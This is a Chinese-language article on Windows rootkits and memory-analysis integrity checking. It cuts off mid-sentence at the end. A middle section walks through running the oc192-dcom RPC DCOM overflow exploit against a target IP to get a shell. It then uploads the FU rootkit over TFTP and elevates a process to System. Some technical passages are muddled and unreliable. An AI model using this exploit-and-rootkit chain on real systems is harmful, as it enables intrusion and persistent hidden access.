自2004以来，Rootkit技术得到了快速发展。很多人发现rootkit既使用IDT(Interrupt Descriptor Table，中断描述符表)连接又使用DKOM(Direct Kernel Object Manipulation)来隐藏自己，不管怎样，这些rootkit就是有办法隐藏于大部分可执行程序而不被发现。或许他们利用的是压缩工具(packer)和加密工具(encryptor)来掩人耳目，加密工具是指一种解码算法，当压缩镜像加载到内存时能够解压;或许可执行程序载有包含解密工具的多重引擎。总之，在rootkit载入内存前根本无法被察觉，压缩镜像中也很难以被检测出异常。

　　我们可以从概念证明方法来试想，模仿DNS并尝试监测rootkit对网络服务器的连接，当rootkit在网络流量中与网络服务器通信时，试图记录系统的行为。但是回到该理论来看，内存分析理论是基于这样的事实：操作系统使用的数据位置与用于定位内存转储中的数据的位置有所不同。RAM的物理内存并不充分，不能包含所有正在运行的进程。这样Windows内存管理器就需要创建一个虚拟地址空间以模拟一个更大的内存空间，并且微处理器的硬件单元需要描绘出虚拟地址空间到物理地址的路径。总之，内存分析会涉及到地址解析，但是所有这些工作怎样能够形成完整性检查呢?

　　内存分析

　　模拟一个更大的内存空间通常是这样实现的：为每个进程创建一个虚拟地址空间，并通过数据结构(主要的数据结构是页目录和页表)将虚拟地址空间解译为物理存储位置。通过使用数据结构，内存管理器创建出所谓的页表，而CPU则将虚拟地址解析为物理地址，每个虚拟地址都与系统空间结构(称为PTE，page table entry)相关联，PTE包含虚拟地址所指代的物理地址。

　　能够为系统进程提供物理内存的数量被称为工作组，因此每个进程都是从空工作组或者零工作组开始的。随着进程开始不断触及虚拟地址，工作组也随之增加。当windows对系统内存进行管理时，工作组需要计算出其进程所需要的物理内存大小，他们是通过记录的进程行为来计算的：内存需要和页访问率。当内存管理器认为工作组足够大时，它会先清理出旧的作业，即那些很长时间没有被使用的。当这些信息被清出后，并没有被毁灭或者删除，因为它们代表进程所使用过的数据记录。所以windows会将这些页保存在不同的目录中，这些目录包括：

      free page list;
　　zero page list;
　　modified page list;
　　standby list

　　当windows从工作进程组清理出一个内存页时，被清理的是那些进程并没有表示不再需要使用的空间。应该要弄清楚的是，如果一个页被修改，就必须被写入。如果进程向页面写入数据，则该页专属于这个进程，这意味着它不在属于共享内存。Windows中的任何能够共享的内存都可以共享，包括代码和DLL，但不包括数据。在记事本中写入的数据是专属于记事本进程的，其他进程都不能访问该数据。与此同时，要记住的是，进程对于系统而言，代表着一个应用程序的实例。但是由于应用程序需要向虚拟地址空间、操作系统、配置设备驱动程序描绘其代码和数据，以及内核模式中使用的数据也需要被描绘，这就意味着windows内存保护将用户模式地址空间从内核模式中分离了。如果某用户模式线程需要调用系统，则需要使用DLL函数调用功能以过渡到内核模式。那么，如果我们安装了一个rootkit，我们将如何执行完整性检查呢?需要考虑这一点，文字部分是只读的，因此代码不需要修改，应该检查关键系统DLL的代码部分和系统驱动程序(内核模块)在内存和磁盘中相应的PE文件是一样的，同时不要忘记重新定位。

　　页文件大小问题

　　不是简单地将RAM大小乘以1.5，最好计算出所有专有字节内存总和，然后乘以1.5。大多数人在检查系统中的恶意软件时都会很自然地进行全部内存转储，但是当系统崩溃或者破坏时，问题基本上都是发生在内核模式。设备驱动程序是让CPU开放所有硬件I/O端口的唯一途径，然而，windows设备驱动程序从来没有直接访问过物理设备。作为界面或者地址总线类型的HAL功能，能够为驱动程序传递需要的信息完成路径。它与rootkit的共同点在于：都是使用算法的。他们都是用代码修改自身而不被发现，他们都是启发式的，他们都利用这样的理论：文件可以通过替代数据流和指示转换来隐藏在NTFS文件系统中。Rootkit在加载的时候，会改变自身的名称创建服务(这意味着它们与SCM有通信)而不被发现，只有当他们以前被发现过并且被写入签名才可能被发现。话虽如此，我们有理由认为有效的rootkit工具会检查内核代码是否被修改：Ntoskrnl.exe和HAL.dll内核组件的.text与磁盘内核文件是否相符。请注意，.text指代代码部分(cs寄存器)，这可能是因为代码自我修复功能可以取代一些硬件相关的功能以符合实际硬盘情况。

　　我们假设对RPC DCOM缓冲区漏洞的经常性写入，例如代码名为oc192-dcom.c，我们将该代码下载至我们的Linux ISO发挥系统中，但是首先我们要启动TFTP服务器并运行，TFTP使用的UDP协议可以配置为绕过防火墙(例如DNS/53)，因此，它是可以来回转移文件的：

      #! /usr/local/sbin/atftpd --daemon --user group root /tftp
　　Check and see if the server is up and running:
　　#! ps -A | grep atftpd
　　Go the /usr/local directory
　　Now we will compile the code, oc192-dcom.c into a binary executable called dcomattack:
　　#! gcc oc192-dcom.c -o dcomattack
　　Run the buffer overflow.
　　#! ./dcomattack -d [Windows Target IP] -t0
　　You have spawned a shell!
　　#! tfp - [Linux Attack IP] PUT FU.exe

　　Windows系列中Server 2003及其以上版本都会默认安装TFTP客户端，在Vista SP1中已经启用为一项功能。我们上传一个FU rootkit范例，它包含两个文件fu.exe 和msdirectx.sys，这两个文件作为一个文件运行，但没有被捆绑。fu.exe作为IOCTL’s通过msdirectx.sys驱动程序，这样，一旦驱动程序被加载，就不再需要任何特殊特权。msdirectx.sys是驱动程序，负责所有工作，直到下次重新启动都不会卸载。现在，FU可以隐藏任何驱动程序就像它隐藏于所有进程一样，如果你想向驱动程序发送IOCTL’s，就需要设置一个handle(分给文件允许程序进入的独一无二的标记)。FU没有想要隐藏或者删除这个符号链接，该符号链接是用来打开到被隐藏的驱动程序的准入记号。Process Explorer工具的菜单栏上有一个查看标签，在此标签中你可以选择“选择栏”，在这里你可以点击handle标签并选中所有选项按钮。准入记号是在进程线程需要访问资源以及打开资源时被创建的，准入记号是该线程每次与资源通信的引入值(value)。但是msdirectx.sys驱动程序在隐藏驱动程序的时候可能会删除符号链接，该驱动程序有很多用途，它可以修改任何进程的组，这样你可以通过输入如下代码进行进程系统：　

fu -pss#process_pid System

　　其他需要注意的问题

　　我们应该要监控进程及其镜像路径，我们应该寻找陌生的API系统调用，并检查是否查询服务主机程序(svchost.exe 或者rundll32.exe)。Process Monitor工具的过滤功能可以让你对所有最近用户活动和注册表项变化进行操作，如果你捕获到恶意隐藏进程，可以将其放入反汇编程序中并保存其代码。因为不管代码链接的是IDT表还是使用内核模块直接访问(DKMA)，都是间接连接IRQL的。用户模式代码在IRQL PASSIVE_LEVEL运行，当系统代码执行时，它是在DISPATCH_LEVEL(中断级别)运行，这种情况下，可以用来启用调度程序。DISPATCH_LEVEL最低软件中断级别，但是如果某线程要避免被取代，会将IRQL提高到DISPATCH_LEVEL，不过会禁用调用程序。

　　然后该线程会被允许在整个操作中执行，再重新启用调用程序，这基本上告诉调度程序找到另一个线程以在拥有特权的线程外运行。现在如果设备驱动程序与调度程序运行，则会分配到分页池缓冲区，释放缓冲，然后尝试连接页面，它会一直读取到页面结束为止，任何违法操作都将使系统崩溃，屏幕篮屏，毁坏物理内存。也可能是由于这个漏洞：windows设备驱动程序在Ring 0加载，这就意味着任何设备驱动都可以修改windows 内核的I/O